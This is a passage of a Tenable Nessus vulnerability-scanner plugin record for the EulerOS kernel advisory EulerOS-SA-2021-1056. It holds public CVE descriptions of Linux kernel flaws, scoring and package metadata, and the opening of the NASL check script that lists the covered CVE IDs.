usb_submit_urb() failures, aka CID-b8d17e7d93d2.(CVE-2019-19078)\n\n - A flaw was found in the Linux kernel's implementation of Userspace core dumps. This flaw allows an attacker with a local account to crash a trivial program and exfiltrate private kernel data.(CVE-2020-10732)\n\n - In the Linux kernel before 5.7.8, fs/nfsd/vfs.c (in the NFS server) can set incorrect permissions on new filesystem objects when the filesystem lacks ACL support, aka CID-22cf8419f131. This occurs because the current umask is not considered.(CVE-2020-24394)\n\n - The Linux kernel through 5.7.11 allows remote attackers to make observations that help to obtain sensitive information about the internal state of the network RNG, aka CID-f227e3ec3b5c. This is related to drivers/char/random.c and kernel/time/timer.c.(CVE-2020-16166)\n\n - In the Linux kernel through 5.8.7, local attackers able to inject conntrack netlink configuration could overflow a local buffer, causing crashes or triggering use of incorrect protocol numbers in ctnetlink_parse_tuple_filter in net/netfilter/nf_conntrack_netlink.c, aka CID-1cc5ef91d2ff.(CVE-2020-25211)\n\n - In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-142938932(CVE-2020-0009)\n\n - In the Linux kernel through 5.7.6, usbtest_disconnect in drivers/usb/misc/usbtest.c has a memory leak, aka CID-28ebeb8db770.(CVE-2020-15393)\n\n - In the Linux kernel before 5.6.1, drivers/media/usb/gspca/xirlink_cit.c (aka the Xirlink camera USB driver) mishandles invalid descriptors, aka CID-a246b4d54770.(CVE-2020-11668)\n\n - An issue was found in Linux kernel before 5.5.4.\n mwifiex_ret_wmm_get_status() in drivers/net/wireless/marvell/mwifiex/wmm.c allows a remote AP to trigger a heap-based buffer overflow because of an incorrect memcpy, aka CID-3a9b153c5591.(CVE-2020-12654)\n\n - An issue was discovered in the Linux kernel through 5.7.1. drivers/tty/vt/keyboard.c has an integer overflow if k_ascii is called several times in a row, aka CID-b86dab054059. NOTE: Members in the community argue that the integer overflow does not lead to a security issue in this case.(CVE-2020-13974)\n\n - Insufficient input validation in Kernel Mode Driver in Intel(R) i915 Graphics for Linux before version 5.0 may allow an authenticated user to potentially enable escalation of privilege via local access.(CVE-2019-11085)\n\n - In the hidp_process_report in bluetooth, there is an integer overflow. This could lead to an out of bounds write with no additional execution privileges needed.\n User interaction is not needed for exploitation.\n Product: Android Versions: Android kernel Android ID:\n A-65853588 References: Upstream kernel.(CVE-2018-9363)\n\n - A flaw was found in the way mremap handled DAX Huge Pages. This flaw allows a local attacker with access to a DAX enabled storage to escalate their privileges on the system.(CVE-2020-10757)\n\n - A flaw was found in the Linux kernel. A heap based buffer overflow in mwifiex_uap_parse_tail_ies function in drivers/net/wireless/marvell/mwifiex/ie.c might lead to memory corruption and possibly other consequences.(CVE-2019-10126)\n\n - A flaw was found in the HDLC_PPP module of the Linux kernel in versions before 5.9-rc7. Memory corruption and a read overflow is caused by improper input validation in the ppp_cp_parse_cr function which can cause the system to crash or cause a denial of service.\n The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.(CVE-2020-25643)\n\n - A TOCTOU mismatch in the NFS client code in the Linux kernel before 5.8.3 could be used by local attackers to corrupt memory or possibly have unspecified other impact because a size check is in fs/nfs/nfs4proc.c instead of fs/nfs/nfs4xdr.c, aka CID-b4487b935452.(CVE-2020-25212)\n\n - In the Linux kernel before 5.7.8, fs/nfsd/vfs.c (in the NFS server) can set incorrect permissions on new filesystem objects when the filesystem lacks ACL support, aka CID-22cf8419f131. This occurs because the current umask is not considered.(CVE-2020-24394)\n\n - A heap overflow flaw was found in the Linux kernel, all versions 3.x.x and 4.x.x before 4.18.0, in Marvell WiFi chip driver. The vulnerability allows a remote attacker to cause a system crash, resulting in a denial of service, or execute arbitrary code. The highest threat with this vulnerability is with the availability of the system. If code execution occurs, the code will run with the permissions of root. This will affect both confidentiality and integrity of files on the system.(CVE-2019-14901)\n\n - A heap-based buffer overflow vulnerability was found in the Linux kernel, version kernel-2.6.32, in Marvell WiFi chip driver. A remote attacker could cause a denial of service (system crash) or, possibly execute arbitrary code, when the lbs_ibss_join_existing function is called after a STA connects to an AP.(CVE-2019-14896)\n\n - rtl_p2p_noa_ie in drivers/net/wireless/realtek/rtlwifi/ps.c in the Linux kernel through 5.3.6 lacks a certain upper-bound check, leading to a buffer overflow.(CVE-2019-17666)\n\n - The Broadcom brcmfmac WiFi driver prior to commit a4176ec356c73a46c07c181c6d04039fafa34a9f is vulnerable to a frame validation bypass. If the brcmfmac driver receives a firmware event frame from a remote source, the is_wlc_event_frame function will cause this frame to be discarded and unprocessed. If the driver receives the firmware event frame from the host, the appropriate handler is called. This frame validation can be bypassed if the bus used is USB (for instance by a wifi dongle). This can allow firmware event frames from a remote source to be processed. In the worst case scenario, by sending specially-crafted WiFi packets, a remote, unauthenticated attacker may be able to execute arbitrary code on a vulnerable system. More typically, this vulnerability will result in denial-of-service conditions.(CVE-2019-9503)\n\n - An issue was discovered in the Linux kernel before 5.0.4. The 9p filesystem did not protect i_size_write() properly, which causes an i_size_read() infinite loop and denial of service on SMP systems.(CVE-2019-16413)\n\n - An issue was discovered in write_tpt_entry in drivers/infiniband/hw/cxgb4/mem.c in the Linux kernel through 5.3.2. The cxgb4 driver is directly calling dma_map_single (a DMA function) from a stack variable.\n This could allow an attacker to trigger a Denial of Service, exploitable if this driver is used on an architecture for which this stack/DMA interaction has security relevance.(CVE-2019-17075)\n\n - drivers/net/wireless/ath/ath10k/usb.c in the Linux kernel through 5.2.8 has a NULL pointer dereference via an incomplete address in an endpoint descriptor.(CVE-2019-15099)\n\n - A flaw was found in the Linux kernel's freescale hypervisor manager implementation, kernel versions 5.0.x up to, excluding 5.0.17. A parameter passed to an ioctl was incorrectly validated and used in size calculations for the page size calculation. An attacker can use this flaw to crash the system, corrupt memory, or create other adverse security affects.(CVE-2019-10142)\n\n - The Broadcom brcmfmac WiFi driver prior to commit 1b5e2423164b3670e8bc9174e4762d297990deff is vulnerable to a heap buffer overflow. If the Wake-up on Wireless LAN functionality is configured, a malicious event frame can be constructed to trigger an heap buffer overflow in the brcmf_wowl_nd_results function. This vulnerability can be exploited with compromised chipsets to compromise the host, or when used in combination with CVE-2019-9503, can be used remotely.\n In the worst case scenario, by sending specially-crafted WiFi packets, a remote, unauthenticated attacker may be able to execute arbitrary code on a vulnerable system. More typically, this vulnerability will result in denial-of-service conditions.(CVE-2019-9500)\n\n - In the Linux kernel 4.14 longterm through 4.14.165 and 4.19 longterm through 4.19.96 (and 5.x before 5.2), there is a use-after-free (write) in the i915_ppgtt_close function in drivers/gpu/drm/i915/i915_gem_gtt.c, aka CID-7dc40713618c. This is related to i915_gem_context_destroy_ioctl in drivers/gpu/drm/i915/i915_gem_context.c.(CVE-2020-7053)\n\n - A flaw was found in the Linux Kernel where an attacker may be able to have an uncontrolled read to kernel-memory from within a vm guest. A race condition between connect() and close() function may allow an attacker using the AF_VSOCK protocol to gather a 4 byte information leak or possibly intercept or corrupt AF_VSOCK messages destined to other clients.(CVE-2018-14625)\n\n - An issue was discovered in the Linux kernel before 5.0.5. There is a use-after-free issue when hci_uart_register_dev() fails in hci_uart_set_proto() in drivers/bluetooth/hci_ldisc.c.(CVE-2019-15917)\n\n - An issue was discovered in the Linux kernel before 4.20.15. The nfc_llcp_build_tlv function in net/nfc/llcp_commands.c may return NULL. If the caller does not check for this, it will trigger a NULL pointer dereference. This will cause denial of service. This affects nfc_llcp_build_gb in net/nfc/llcp_core.c.(CVE-2019-12818)\n\n - There is heap-based buffer overflow in kernel, all versions up to, excluding 5.3, in the marvell wifi chip driver in Linux kernel, that allows local users to cause a denial of service(system crash) or possibly execute arbitrary code.(CVE-2019-14816)\n\n - drivers/media/usb/dvb-usb/technisat-usb2.c in the Linux kernel through 5.2.9 has an out-of-bounds read via crafted USB device traffic (which may be remote via usbip or usbredir).(CVE-2019-15505)\n\n - There is heap-based buffer overflow in Linux kernel, all versions up to, excluding 5.3, in the marvell wifi chip driver in Linux kernel, that allows local users to cause a denial of service(system crash) or possibly execute arbitrary code.(CVE-2019-14814)\n\n - In the Linux kernel through 5.3.2, cfg80211_mgd_wext_giwessid in net/wireless/wext-sme.c does not reject a long SSID IE, leading to a Buffer Overflow.(CVE-2019-17133)\n\n - An issue was discovered in the Linux kernel before 5.2.3. Out of bounds access exists in the functions ath6kl_wmi_pstream_timeout_event_rx and ath6kl_wmi_cac_event_rx in the file drivers/net/wireless/ath/ath6kl/wmi.c.(CVE-2019-15926)\n\n - In the Linux kernel 5.4.0-rc2, there is a use-after-free (read) in the __blk_add_trace function in kernel/trace/blktrace.c (which is used to fill out a blk_io_trace structure and place it in a per-cpu sub-buffer).(CVE-2019-19768)\n\n - An issue was discovered in the Linux kernel through 5.5.6. set_fdc in drivers/block/floppy.c leads to a wait_til_ready out-of-bounds read because the FDC index is not checked for errors before assigning it, aka CID-2e90ca68b0d2.(CVE-2020-9383)\n\n - An issue was discovered in the Linux kernel before 5.0.9. There is a use-after-free in atalk_proc_exit, related to net/appletalk/atalk_proc.c, net/appletalk/ddp.c, and net/appletalk/sysctl_net_atalk.c.(CVE-2019-15292)\n\n - A heap-based buffer overflow was discovered in the Linux kernel, all versions 3.x.x and 4.x.x before 4.18.0, in Marvell WiFi chip driver. The flaw could occur when the station attempts a connection negotiation during the handling of the remote devices country settings. This could allow the remote device to cause a denial of service (system crash) or possibly execute arbitrary code.(CVE-2019-14895)\n\n - In the Linux kernel, a certain net/ipv4/tcp_output.c change, which was properly incorporated into 4.16.12, was incorrectly backported to the earlier longterm kernels, introducing a new vulnerability that was potentially more severe than the issue that was intended to be fixed by backporting. Specifically, by adding to a write queue between disconnection and re-connection, a local attacker can trigger multiple use-after-free conditions. This can result in a kernel crash, or potentially in privilege escalation.(CVE-2019-15239)\n\n - The Linux kernel 4.x (starting from 4.1) and 5.x before 5.0.8 allows Information Exposure (partial kernel address disclosure), leading to a KASLR bypass.\n Specifically, it is possible to extract the KASLR kernel image offset using the IP ID values the kernel produces for connection-less protocols (e.g., UDP and ICMP). When such traffic is sent to multiple destination IP addresses, it is possible to obtain hash collisions (of indices to the counter array) and thereby obtain the hashing key (via enumeration). This key contains enough bits from a kernel address (of a static variable) so when the key is extracted (via enumeration), the offset of the kernel image is exposed. This attack can be carried out remotely, by the attacker forcing the target device to send UDP or ICMP (or certain other) traffic to attacker-controlled IP addresses. Forcing a server to send UDP traffic is trivial if the server is a DNS server. ICMP traffic is trivial if the server answers ICMP Echo requests (ping). For client targets, if the target visits the attacker's web page, then WebRTC or gQUIC can be used to force UDP traffic to attacker-controlled IP addresses. NOTE: this attack against KASLR became viable in 4.1 because IP ID generation was changed to have a dependency on an address associated with a network namespace.(CVE-2019-10639)\n\n - The coredump implementation in the Linux kernel before 5.0.10 does not use locking or other mechanisms to prevent vma layout or vma flags changes while it runs, which allows local users to obtain sensitive information, cause a denial of service, or possibly have unspecified other impact by triggering a race condition with mmget_not_zero or get_task_mm calls.\n This is related to fs/userfaultfd.c, mm/mmap.c, fs/proc/task_mmu.c, and drivers/infiniband/core/uverbs_main.c.(CVE-2019-11599)\n\n - A memory leak in the adis_update_scan_mode() function in drivers/iio/imu/adis_buffer.c in the Linux kernel before 5.3.9 allows attackers to cause a denial of service (memory consumption), aka CID-ab612b1daf41.(CVE-2019-19060)\n\n - An issue was discovered in the Linux kernel before 4.20.2. An out-of-bounds access exists in the function build_audio_procunit in the file sound/usb/mixer.c.(CVE-2019-15927)\n\n - An issue was discovered in net/wireless/nl80211.c in the Linux kernel through 5.2.17. It does not check the length of variable elements in a beacon head, leading to a buffer overflow.(CVE-2019-16746)\n\n - The Siemens R3964 line discipline driver in drivers/tty/n_r3964.c in the Linux kernel before 5.0.8 has multiple race conditions.(CVE-2019-11486)\n\n - Insufficient access control in the Intel(R) PROSet/Wireless WiFi Software driver before version 21.10 may allow an unauthenticated user to potentially enable denial of service via adjacent access.(CVE-2019-0136)\n\n - The Linux kernel through 5.3.13 has a start_offset+size Integer Overflow in cpia2_remap_buffer in drivers/media/usb/cpia2/cpia2_core.c because cpia2 has its own mmap implementation. This allows local users (with /dev/video0 access) to obtain read and write permissions on kernel physical pages, which can possibly result in a privilege escalation(CVE-2019-18675)\n\n - ** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.(CVE-2019-14815)\n\n - The Bluetooth BR/EDR specification up to and including version 5.1 permits sufficiently low encryption key length and does not prevent an attacker from influencing the key length negotiation. This allows practical brute-force attacks (aka 'KNOB') that can decrypt traffic and inject arbitrary ciphertext without the victim noticing.(CVE-2019-9506)\n\n - A memory leak in the ath9k_wmi_cmd() function in drivers/net/wireless/ath/ath9k/wmi.c in the Linux kernel through 5.3.11 allows attackers to cause a denial of service (memory consumption), aka CID-728c1e2a05e4.(CVE-2019-19074)\n\nNote that Tenable Network Security has extracted the preceding description block directly from the EulerOS security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 9.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-01-11T00:00:00", "type": "nessus", "title": "EulerOS Virtualization 3.0.2.6 : kernel (EulerOS-SA-2021-1056)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2014-8181", "CVE-2018-14625", "CVE-2018-9363", "CVE-2019-0136", "CVE-2019-10126", "CVE-2019-10142", "CVE-2019-10639", "CVE-2019-11085", "CVE-2019-1125", "CVE-2019-11486", "CVE-2019-11599", "CVE-2019-12818", "CVE-2019-14814", "CVE-2019-14815", "CVE-2019-14816", "CVE-2019-14895", "CVE-2019-14896", "CVE-2019-14901", "CVE-2019-15099", "CVE-2019-15239", "CVE-2019-15292", "CVE-2019-15505", "CVE-2019-15917", "CVE-2019-15926", "CVE-2019-15927", "CVE-2019-16413", "CVE-2019-16746", "CVE-2019-17075", "CVE-2019-17133", "CVE-2019-17666", "CVE-2019-18675", "CVE-2019-19060", "CVE-2019-19074", "CVE-2019-19078", "CVE-2019-19768", "CVE-2019-20636", "CVE-2019-3846", "CVE-2019-9500", "CVE-2019-9503", "CVE-2019-9506", "CVE-2020-0009", "CVE-2020-10732", "CVE-2020-10751", "CVE-2020-10757", "CVE-2020-10942", "CVE-2020-11608", "CVE-2020-11609", "CVE-2020-11668", "CVE-2020-12654", "CVE-2020-13974", "CVE-2020-15393", "CVE-2020-16166", "CVE-2020-24394", "CVE-2020-25211", "CVE-2020-25212", "CVE-2020-25643", "CVE-2020-7053", "CVE-2020-9383"], "modified": "2021-01-13T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:kernel", "p-cpe:/a:huawei:euleros:kernel-devel", "p-cpe:/a:huawei:euleros:kernel-headers", "p-cpe:/a:huawei:euleros:kernel-tools", "p-cpe:/a:huawei:euleros:kernel-tools-libs", "cpe:/o:huawei:euleros:uvp:3.0.2.6"], "id": "EULEROS_SA-2021-1056.NASL", "href": "https://www.tenable.com/plugins/nessus/144831", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(144831);\n script_version(\"1.2\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/13\");\n\n script_cve_id(\n \"CVE-2014-8181\",\n \"CVE-2018-14625\",\n \"CVE-2018-9363\",\n \"CVE-2019-0136\",\n \"CVE-2019-10126\",\n \"CVE-2019-10142\",\n \"CVE-2019-10639\",\n \"CVE-2019-11085\",\n \"CVE-2019-1125\",\n \"CVE-2019-11486\",\n \"CVE-2019-11599\",\n \"CVE-2019-12818\",\n \"CVE-2019-14814\",\n \"CVE-2019-14815\",\n \"CVE-2019-14816\",\n \"CVE-2019-14895\",\n \"CVE-2019-14896\",\n \"CVE-2019-14901\",\n \"CVE-2019-15099\",\n \"CVE-2019-15239\",\n \"CVE-2019-15292\",\n \"CVE-2019-15505\",\n \"CVE-2019-15917\",\n \"CVE-2019-15926\",\n \"CVE-2019-15927\",\n \"CVE-2019-16413\",\n \"CVE-2019-16746\",\n \"CVE-2019-17075\",\n \"CVE-2019-17133\",\n \"CVE-2019-17666\",\n \"CVE-2019-18675\",\n \"CVE-2019-19060\",\n \"CVE-2019-19074\",\n \"CVE-2019-19078\",\n \"CVE-2019-19768\",\n \"CVE-2019-20636\",\n \"CVE-2019-3846\",\n \"CVE-2019-9500\",\n \"CVE-2019-9503\",\n \"CVE-2019-9506\",\n \"CVE-2020-0009\",\n \"CVE-2020-10732\",\n \"CVE-2020-10751\",\n \"CVE-2020-10757\",\n \"CVE-2020-10942\",\n \"CVE-2020-11608\",\n \"CVE-2020-11609\",\n \"CVE-2020-11668\",\n \"CVE-2020-12654\",\n \"CVE-2020-13974\",\n \"CVE-2020-15393\",\n \"CVE-2020-16166\",\n \"CVE-2020-24394\",\n \"CVE-2020-25211\",\n \"CVE-2020-25212\",\n \"CVE-2020-25643\",\n \"CVE-2020-7053\",\n \"CVE-2020-9383\"\n );\n\n script_name(english:\"EulerOS Virtualization 3.0.2.6 : kernel (EulerOS-SA-2021-1056)\");\n script_summary(english:\"Checks the rpm output for the updated packages.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS Virtualization host is missing multiple security\nupdates.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the versions of the kernel packages installed, the\nEulerOS Virtualization installation on the remote host is affected by\nthe following vulnerabilities :\n\n - A flaw that allowed an attacker to corrupt memory and\n possibly escalate privileges was found in the mwifiex\n kernel module while connecting to a malicious wireless\n network(CVE-2019-3846)\n\n - An issue was discovered in the Linux kernel before\n 5.6.1. drivers/media/usb/gspca/ov519.c allows NULL\n pointer dereferences in ov511_mode_init_regs and\n ov518_mode_init_regs when there are zero\n endpoints(CVE-2020-11608)\n\n - In the Linux kernel before 5.5.8, get_raw_socket in\n drivers/vhost/net.c lacks validation of an sk_family\n field, which might allow attackers to trigger kernel\n stack corruption via crafted system\n calls.(CVE-2020-10942)\n\n - An issue was discovered in the stv06xx subsystem in the\n Linux kernel before 5.6.1.\n drivers/media/usb/gspca/stv06xx/stv06xx.c and\n drivers/media/usb/gspca/stv06xx/stv06xx_pb0100.c\n mishandle invalid descriptors, as demonstrated by a\n NULL pointer dereference, aka\n CID-485b06aadb93.(CVE-2020-11609)\n\n - An out-of-bounds write flaw was found in the Linux\n kernel. A crafted keycode table could be used by\n drivers/input/input.c to perform the out-of-bounds\n write. A local user with root access can insert garbage\n to this keycode table that can lead to out-of-bounds\n memory access. The highest threat from this\n vulnerability is to data confidentiality and integrity\n as well as system availability.(CVE-2019-20636)\n\n - The kernel in Red Hat Enterprise Linux 7 and MRG-2 does\n not clear garbage data for SG_IO buffer, which may\n leaking sensitive information to\n userspace.(CVE-2014-8181)\n\n - A flaw was found in the Linux kernels SELinux LSM hook\n implementation before version 5.7, where it incorrectly\n assumed that an skb would only contain a single netlink\n message. The hook would incorrectly only validate the\n first netlink message in the skb and allow or deny the\n rest of the messages within the skb with the granted\n permission without further processing.(CVE-2020-10751)\n\n - An information disclosure vulnerability exists when\n certain central processing units (CPU) speculatively\n access memory, aka 'Windows Kernel Information\n Disclosure Vulnerability'.(CVE-2019-1125)\n\n - A memory leak in the ath10k_usb_hif_tx_sg() function in\n drivers/net/wireless/ath/ath10k/usb.c in the Linux\n kernel through 5.3.11 allows attackers to cause a\n denial of service (memory consumption) by triggering\n usb_submit_urb() failures, aka\n CID-b8d17e7d93d2.(CVE-2019-19078)\n\n - A flaw was found in the Linux kernel's implementation\n of Userspace core dumps. This flaw allows an attacker\n with a local account to crash a trivial program and\n exfiltrate private kernel data.(CVE-2020-10732)\n\n - In the Linux kernel before 5.7.8, fs/nfsd/vfs.c (in the\n NFS server) can set incorrect permissions on new\n filesystem objects when the filesystem lacks ACL\n support, aka CID-22cf8419f131. This occurs because the\n current umask is not considered.(CVE-2020-24394)\n\n - The Linux kernel through 5.7.11 allows remote attackers\n to make observations that help to obtain sensitive\n information about the internal state of the network\n RNG, aka CID-f227e3ec3b5c. This is related to\n drivers/char/random.c and\n kernel/time/timer.c.(CVE-2020-16166)\n\n - In the Linux kernel through 5.8.7, local attackers able\n to inject conntrack netlink configuration could\n overflow a local buffer, causing crashes or triggering\n use of incorrect protocol numbers in\n ctnetlink_parse_tuple_filter in\n net/netfilter/nf_conntrack_netlink.c, aka\n CID-1cc5ef91d2ff.(CVE-2020-25211)\n\n - In calc_vm_may_flags of ashmem.c, there is a possible\n arbitrary write to shared memory due to a permissions\n bypass. This could lead to local escalation of\n privilege by corrupting memory shared between\n processes, with no additional execution privileges\n needed. User interaction is not needed for\n exploitation. Product: Android Versions: Android kernel\n Android ID: A-142938932(CVE-2020-0009)\n\n - In the Linux kernel through 5.7.6, usbtest_disconnect\n in drivers/usb/misc/usbtest.c has a memory leak, aka\n CID-28ebeb8db770.(CVE-2020-15393)\n\n - In the Linux kernel before 5.6.1,\n drivers/media/usb/gspca/xirlink_cit.c (aka the Xirlink\n camera USB driver) mishandles invalid descriptors, aka\n CID-a246b4d54770.(CVE-2020-11668)\n\n - An issue was found in Linux kernel before 5.5.4.\n mwifiex_ret_wmm_get_status() in\n drivers/net/wireless/marvell/mwifiex/wmm.c allows a\n remote AP to trigger a heap-based buffer overflow\n because of an incorrect memcpy, aka\n CID-3a9b153c5591.(CVE-2020-12654)\n\n - An issue was discovered in the Linux kernel through\n 5.7.1. drivers/tty/vt/keyboard.c has an integer\n overflow if k_ascii is called several times in a row,\n aka CID-b86dab054059. NOTE: Members in the community\n argue that the integer overflow does not lead to a\n security issue in this case.(CVE-2020-13974)\n\n - Insufficient input validation in Kernel Mode Driver in\n Intel(R) i915 Graphics for Linux before version 5.0 may\n allow an authenticated user to potentially enable\n escalation of privilege via local\n access.(CVE-2019-11085)\n\n - In the hidp_process_report in bluetooth, there is an\n integer overflow. This could lead to an out of bounds\n write with no additional execution privileges needed.\n User interaction is not needed for exploitation.\n Product: Android Versions: Android kernel Android ID:\n A-65853588 References: Upstream kernel.(CVE-2018-9363)\n\n - A flaw was found in the way mremap handled DAX Huge\n Pages. This flaw allows a local attacker with access to\n a DAX enabled storage to escalate their privileges on\n the system.(CVE-2020-10757)\n\n - A flaw was found in the Linux kernel. A heap based\n buffer overflow in mwifiex_uap_parse_tail_ies function\n in drivers/net/wireless/marvell/mwifiex/ie.c might lead\n to memory corruption and possibly other\n consequences.(CVE-2019-10126)\n\n - A flaw was found in the HDLC_PPP module of the Linux\n kernel in versions before 5.9-rc7. Memory corruption\n and a read overflow is caused by improper input\n validation in the ppp_cp_parse_cr function which can\n cause the system to crash or cause a denial of service.\n The highest threat from this vulnerability is to data\n confidentiality and integrity as well as system\n availability.(CVE-2020-25643)\n\n - A TOCTOU mismatch in the NFS client code in the Linux\n kernel before 5.8.3 could be used by local attackers to\n corrupt memory or possibly have unspecified other\n impact because a size check is in fs/nfs/nfs4proc.c\n instead of fs/nfs/nfs4xdr.c, aka\n CID-b4487b935452.(CVE-2020-25212)\n\n - In the Linux kernel before 5.7.8, fs/nfsd/vfs.c (in the\n NFS server) can set incorrect permissions on new\n filesystem objects when the filesystem lacks ACL\n support, aka CID-22cf8419f131. This occurs because the\n current umask is not considered.(CVE-2020-24394)\n\n - A heap overflow flaw was found in the Linux kernel, all\n versions 3.x.x and 4.x.x before 4.18.0, in Marvell WiFi\n chip driver. The vulnerability allows a remote attacker\n to cause a system crash, resulting in a denial of\n service, or execute arbitrary code. The highest threat\n with this vulnerability is with the availability of the\n system. If code execution occurs, the code will run\n with the permissions of root. This will affect both\n confidentiality and integrity of files on the\n system.(CVE-2019-14901)\n\n - A heap-based buffer overflow vulnerability was found in\n the Linux kernel, version kernel-2.6.32, in Marvell\n WiFi chip driver. A remote attacker could cause a\n denial of service (system crash) or, possibly execute\n arbitrary code, when the lbs_ibss_join_existing\n function is called after a STA connects to an\n AP.(CVE-2019-14896)\n\n - rtl_p2p_noa_ie in\n drivers/net/wireless/realtek/rtlwifi/ps.c in the Linux\n kernel through 5.3.6 lacks a certain upper-bound check,\n leading to a buffer overflow.(CVE-2019-17666)\n\n - The Broadcom brcmfmac WiFi driver prior to commit\n a4176ec356c73a46c07c181c6d04039fafa34a9f is vulnerable\n to a frame validation bypass. If the brcmfmac driver\n receives a firmware event frame from a remote source,\n the is_wlc_event_frame function will cause this frame\n to be discarded and unprocessed. If the driver receives\n the firmware event frame from the host, the appropriate\n handler is called. This frame validation can be\n bypassed if the bus used is USB (for instance by a wifi\n dongle). This can allow firmware event frames from a\n remote source to be processed. In the worst case\n scenario, by sending specially-crafted WiFi packets, a\n remote, unauthenticated attacker may be able to execute\n arbitrary code on a vulnerable system. More typically,\n this vulnerability will result in denial-of-service\n conditions.(CVE-2019-9503)\n\n - An issue was discovered in the Linux kernel before\n 5.0.4. The 9p filesystem did not protect i_size_write()\n properly, which causes an i_size_read() infinite loop\n and denial of service on SMP systems.(CVE-2019-16413)\n\n - An issue was discovered in write_tpt_entry in\n drivers/infiniband/hw/cxgb4/mem.c in the Linux kernel\n through 5.3.2. The cxgb4 driver is directly calling\n dma_map_single (a DMA function) from a stack variable.\n This could allow an attacker to trigger a Denial of\n Service, exploitable if this driver is used on an\n architecture for which this stack/DMA interaction has\n security relevance.(CVE-2019-17075)\n\n - drivers/net/wireless/ath/ath10k/usb.c in the Linux\n kernel through 5.2.8 has a NULL pointer dereference via\n an incomplete address in an endpoint\n descriptor.(CVE-2019-15099)\n\n - A flaw was found in the Linux kernel's freescale\n hypervisor manager implementation, kernel versions\n 5.0.x up to, excluding 5.0.17. A parameter passed to an\n ioctl was incorrectly validated and used in size\n calculations for the page size calculation. An attacker\n can use this flaw to crash the system, corrupt memory,\n or create other adverse security\n affects.(CVE-2019-10142)\n\n - The Broadcom brcmfmac WiFi driver prior to commit\n 1b5e2423164b3670e8bc9174e4762d297990deff is vulnerable\n to a heap buffer overflow. If the Wake-up on Wireless\n LAN functionality is configured, a malicious event\n frame can be constructed to trigger an heap buffer\n overflow in the brcmf_wowl_nd_results function. This\n vulnerability can be exploited with compromised\n chipsets to compromise the host, or when used in\n combination with CVE-2019-9503, can be used remotely.\n In the worst case scenario, by sending\n specially-crafted WiFi packets, a remote,\n unauthenticated attacker may be able to execute\n arbitrary code on a vulnerable system. More typically,\n this vulnerability will result in denial-of-service\n conditions.(CVE-2019-9500)\n\n - In the Linux kernel 4.14 longterm through 4.14.165 and\n 4.19 longterm through 4.19.96 (and 5.x before 5.2),\n there is a use-after-free (write) in the\n i915_ppgtt_close function in\n drivers/gpu/drm/i915/i915_gem_gtt.c, aka\n CID-7dc40713618c. This is related to\n i915_gem_context_destroy_ioctl in\n drivers/gpu/drm/i915/i915_gem_context.c.(CVE-2020-7053)\n\n - A flaw was found in the Linux Kernel where an attacker\n may be able to have an uncontrolled read to\n kernel-memory from within a vm guest. A race condition\n between connect() and close() function may allow an\n attacker using the AF_VSOCK protocol to gather a 4 byte\n information leak or possibly intercept or corrupt\n AF_VSOCK messages destined to other\n clients.(CVE-2018-14625)\n\n - An issue was discovered in the Linux kernel before\n 5.0.5. There is a use-after-free issue when\n hci_uart_register_dev() fails in hci_uart_set_proto()\n in drivers/bluetooth/hci_ldisc.c.(CVE-2019-15917)\n\n - An issue was discovered in the Linux kernel before\n 4.20.15. The nfc_llcp_build_tlv function in\n net/nfc/llcp_commands.c may return NULL. If the caller\n does not check for this, it will trigger a NULL pointer\n dereference. This will cause denial of service. This\n affects nfc_llcp_build_gb in\n net/nfc/llcp_core.c.(CVE-2019-12818)\n\n - There is heap-based buffer overflow in kernel, all\n versions up to, excluding 5.3, in the marvell wifi chip\n driver in Linux kernel, that allows local users to\n cause a denial of service(system crash) or possibly\n execute arbitrary code.(CVE-2019-14816)\n\n - drivers/media/usb/dvb-usb/technisat-usb2.c in the Linux\n kernel through 5.2.9 has an out-of-bounds read via\n crafted USB device traffic (which may be remote via\n usbip or usbredir).(CVE-2019-15505)\n\n - There is heap-based buffer overflow in Linux kernel,\n all versions up to, excluding 5.3, in the marvell wifi\n chip driver in Linux kernel, that allows local users to\n cause a denial of service(system crash) or possibly\n execute arbitrary code.(CVE-2019-14814)\n\n - In the Linux kernel through 5.3.2,\n cfg80211_mgd_wext_giwessid in net/wireless/wext-sme.c\n does not reject a long SSID IE, leading to a Buffer\n Overflow.(CVE-2019-17133)\n\n - An issue was discovered in the Linux kernel before\n 5.2.3. Out of bounds access exists in the functions\n ath6kl_wmi_pstream_timeout_event_rx and\n ath6kl_wmi_cac_event_rx in the file\n drivers/net/wireless/ath/ath6kl/wmi.c.(CVE-2019-15926)\n\n - In the Linux kernel 5.4.0-rc2, there is a\n use-after-free (read) in the __blk_add_trace function\n in kernel/trace/blktrace.c (which is used to fill out a\n blk_io_trace structure and place it in a per-cpu\n sub-buffer).(CVE-2019-19768)\n\n - An issue was discovered in the Linux kernel through\n 5.5.6. set_fdc in drivers/block/floppy.c leads to a\n wait_til_ready out-of-bounds read because the FDC index\n is not checked for errors before assigning it, aka\n CID-2e90ca68b0d2.(CVE-2020-9383)\n\n - An issue was discovered in the Linux kernel before\n 5.0.9. There is a use-after-free in atalk_proc_exit,\n related to net/appletalk/atalk_proc.c,\n net/appletalk/ddp.c, and\n net/appletalk/sysctl_net_atalk.c.(CVE-2019-15292)\n\n - A heap-based buffer overflow was discovered in the\n Linux kernel, all versions 3.x.x and 4.x.x before\n 4.18.0, in Marvell WiFi chip driver. The flaw could\n occur when the station attempts a connection\n negotiation during the handling of the remote devices\n country settings. This could allow the remote device to\n cause a denial of service (system crash) or possibly\n execute arbitrary 